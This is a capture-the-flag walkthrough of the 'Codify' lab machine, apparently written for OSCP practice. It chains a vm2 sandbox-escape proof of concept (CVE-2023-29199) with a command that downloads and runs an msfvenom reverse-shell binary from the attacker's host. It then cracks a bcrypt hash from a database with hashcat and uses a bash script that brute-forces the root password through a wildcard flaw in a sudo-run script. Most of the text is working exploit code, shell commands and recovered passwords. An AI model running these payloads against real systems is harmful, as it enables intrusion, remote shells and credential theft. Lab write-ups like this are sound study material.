![[Codify.png]] Codify was an easy Linux machine that starts off with 2 open http ports. The websites are hosting a browser based JavaScript sandbox using a vulnerable vm2 library. Once exploited the attacker was able to priv esc from a svc account, to a user account through an exposed hash. a vulnerable sudo priveledge led to brute forcing the root credentials. I started with my initial nmap scan. ![[nmap-scan 1.png]] The nmap scan uncovered 3 open ports. 22 ssh, 80 http, and 3000, another http hosting the same site. Ill go ahead and start looking over port 80, first Ill add it to my /etc/hosts file. ![[hostsFile 3.png]] I couldn't get port 80 to connect so I went to port 3000 in my browser. Navigating to the site presented me with an explanation of the site. ![[abouthtml.png]] This site provides an ability to test Node.js in a sandbox environment, Allowing users to run code on a front-end device can be extremely dangerous without the correct safe guards. I'm guessing this will be my vector. Ill go ahead and check the 'About us'. ![[about-us.png]] I found that the website it using vm2 3.9.16 for JavaScript sandboxing, unfortunately for them its associated with CVE-2023-29199, a POC can be found in [this article](https://gist.github.com/leesh3288/f05730165799bf56d70391f3d9ea187c). According to the POC If we paste the following code into the editor, we can achieve RCE. ``` const {VM} = require("vm2"); const vm = new VM(); const code = ` err = {}; const handler = { getPrototypeOf(target) { (function stack() { new Error().stack; stack(); })(); } }; const proxiedErr = new Proxy(err, handler); try { throw proxiedErr; } catch ({constructor: c}) { c.constructor('return process')().mainModule.require('child_process').execSync('id'); } ` console.log(vm.run(code)); ``` Glad to see it worked properly! ![[proof-of-rce.png]] I tried a number of different reverse shell one liners and payloads and eventually settled on just running a malicious Linux executable on the backend. Ill show this process step by step. First I'll generate the payload using msfvenom. ``` msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.31 LPORT=443 -f elf -o reverse.elf ``` Then I'll start my python http server in the directory where the file sits. ``` python3 -m http.server 80 ``` And set up my listener on a separate pane. ``` nc -lvnp 443 ``` lastly, I'll put it all together. I want the command to download the malicious file, mark it as executable, then run it. ``` const {VM} = require("vm2"); const vm = new VM(); const code = ` err = {}; const handler = { getPrototypeOf(target) { (function stack() { new Error().stack; stack(); })(); } }; const proxiedErr = new Proxy(err, handler); try { throw proxiedErr; } catch ({constructor: c}) { c.constructor('return process')().mainModule.require('child_process').execSync("wget http://10.10.14.31/reverse.elf; chmod +x reverse.elf; ./reverse.elf"); } ` console.log(vm.run(code)); ``` ![[proof-of-svc-shell.png]] Now that I have the shell, I would like to upgrade it. ``` python3 -c 'import pty; pty.spawn("/bin/bash")' Ctrl ^Z stty raw -echo && fg reset screen export TERM=xterm clear ``` Now I have a stable shell as svc. Unfortunately svc is not the user.flag holder. That honor belong to the user joshua. ![[svc-home.png]] First I want to take a look around the /var/www directory to see if there is anything there that can help me continue my journey. And since that's mostly all the svc user can interface with. ![[var-ww-dir.png]] There lies a directory that I didn't recognize form the site. Lets check it out. ![[ticketsdb.png]] I'm very interested in that tickets.db file. At first I didn't really know what I wanted to do with it. So I just ran strings on it initially. ``` strings tickets.db ``` ![[strings.png]] I noticed a hash and I noticed sqlite3. I can dump this db file using sqlite3 to read it face value since strings kind of scrambled the text. ``` sqlite3 tickets.db .dump ``` ![[sqlite3.png]] The files contains some feature requests from Joe Williams and Tom Hanks. But most importantly contains a hash for a password to the user joshua who has an account on this machine! ``` $2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2 ``` I'll grab the hash and put it into a file for hashcat. ``` echo '$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2' > hash hashcat hash ``` hashcat identifies it as a blowfish encryption so we should be able to crack it with m 3200. ``` hashcat hash -m3200 --wordlist /usr/share/wordlists/rockyou.txt ``` It cracked within minutes! ![[cracked!.png]] ``` $2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2:spongebob1 ``` I'm going to try to ssh as joshua. ``` ssh [email protected] password: spongebob1 ``` And now im logged in as joshua! ![[shellasjoshua.png]] Grab that user.txt ![[userflg.png]] Muscle memory sudo check. ``` sudo -l ``` ![[sudo-l.png]] It appears that joshua can run a custom bash script with sudo privledges. I first looked at the script to try understand it. I also looked for any places where I could try a PATH injection. But the script was pretty sound. Except for one place... ![[weak-area.png]] The author of the script used `"==" instead of "="` this means that Wildcards can be passed into the user input. (took me longer than I'd like to admit to figure this out). Armed with this knowledge, we can test the theory, If I pass "star" into the password field, It should force the condition to equate true. ![[star.png]] Nice! Now everything to the left of the star will either be true or false depending on if its the correct letter of the password. And we can bruteforce that. Doing this by hand would be inhumane. This password could be 32 Characters mixed with uppers, lowers, numbers and specials. So I slapped together a nasty bruteforce bash script within joshuas home dir. ``` vi exploit.sh #!/bin/bash func(){ for letter in {0..9} {a..z} {A..Z}; do echo $char$letter sudo /opt/scripts/mysql-backup.sh <<< "$char$letter*" if [ $? -eq 0 ]; then char+=$letter func fi done } func <EOF> chmod +x exploit.sh ``` From top to bottom. 1st I create a function so I can rerun everything a letter is discovered. 2nd Loop through each possible character. 3rd run the script as sudo and pass the good character and next character to the stdin. 4th if the script doesn't fail, add that character to the var of good characters. 5th do it all again. Lets give this script a run! ``` ./exploit.sh ``` ![[bruteforce 1.png]] And after a minute, We have the password! (minus the Z). ``` su root password: kljh12k3jhaskjh12kjh3 ``` And we have root! and can grab the root flag! ![[rootflg 1.png]] Thanks for reading! And or following along! I enjoyed this easy machine, It was very straightforward and great for OSCP practice.